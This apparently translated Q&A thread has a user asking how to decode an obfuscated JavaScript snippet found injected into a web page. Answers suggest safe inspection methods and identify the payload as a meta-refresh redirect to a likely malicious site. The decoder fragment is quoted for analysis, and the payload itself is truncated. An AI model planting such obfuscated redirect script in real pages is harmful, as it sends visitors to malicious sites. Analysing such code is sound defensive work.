我刚收到一个看起来像这样的病毒
<script type='text/javascript'>
<!--
var s="=nfub!iuuq.frvjw>#sfgsfti#!------REST OF PAYLOAD REMOVED-----?";
m="";
for (i=0; i<s.length; i++)
{
if(s.charCodeAt(i) == 28)
{
m+= '&';
}
else if
(s.charCodeAt(i) == 23)
{ m+= '!';}
else
{
m+=String.fromCharCode(s.charCodeAt(i)-1);
}}
document.write(m);//-->
</script>
我不是JS专家,但我想解密该字符串的内容。你能告诉我改变document.write的最佳方法,看看它在做什么吗?
答案 0 :(得分:4)
只需创建一个<textarea id="foo"></textarea>
,然后写
document.getElementsById('foo').value = m;
或者,您可以将<
和&
编码为<
和&
并保留document.write
。
仅供参考,有效载荷以
开头<meta http-equiv="refresh"
所以看起来它只是将用户重定向到恶意网站。
答案 1 :(得分:2)
使用Malzilla解码URL。 http://malzilla.sourceforge.net/
答案 2 :(得分:1)
由于m
是一个字符串,您只需将document.write()
替换为alert()
即可。 Jsfiddle demo
它似乎正在创建元刷新标头,可能意图将其注入当前HTML页面的头部,以便重定向到另一个(恶意?)页面。
答案 3 :(得分:1)
不要在浏览器中运行它,而是尝试在FireBug中运行它(例如document.write(m)
行除外 - 只需使用FireBug查看m变量的内容)。
其中大部分将iframe嵌入您的网站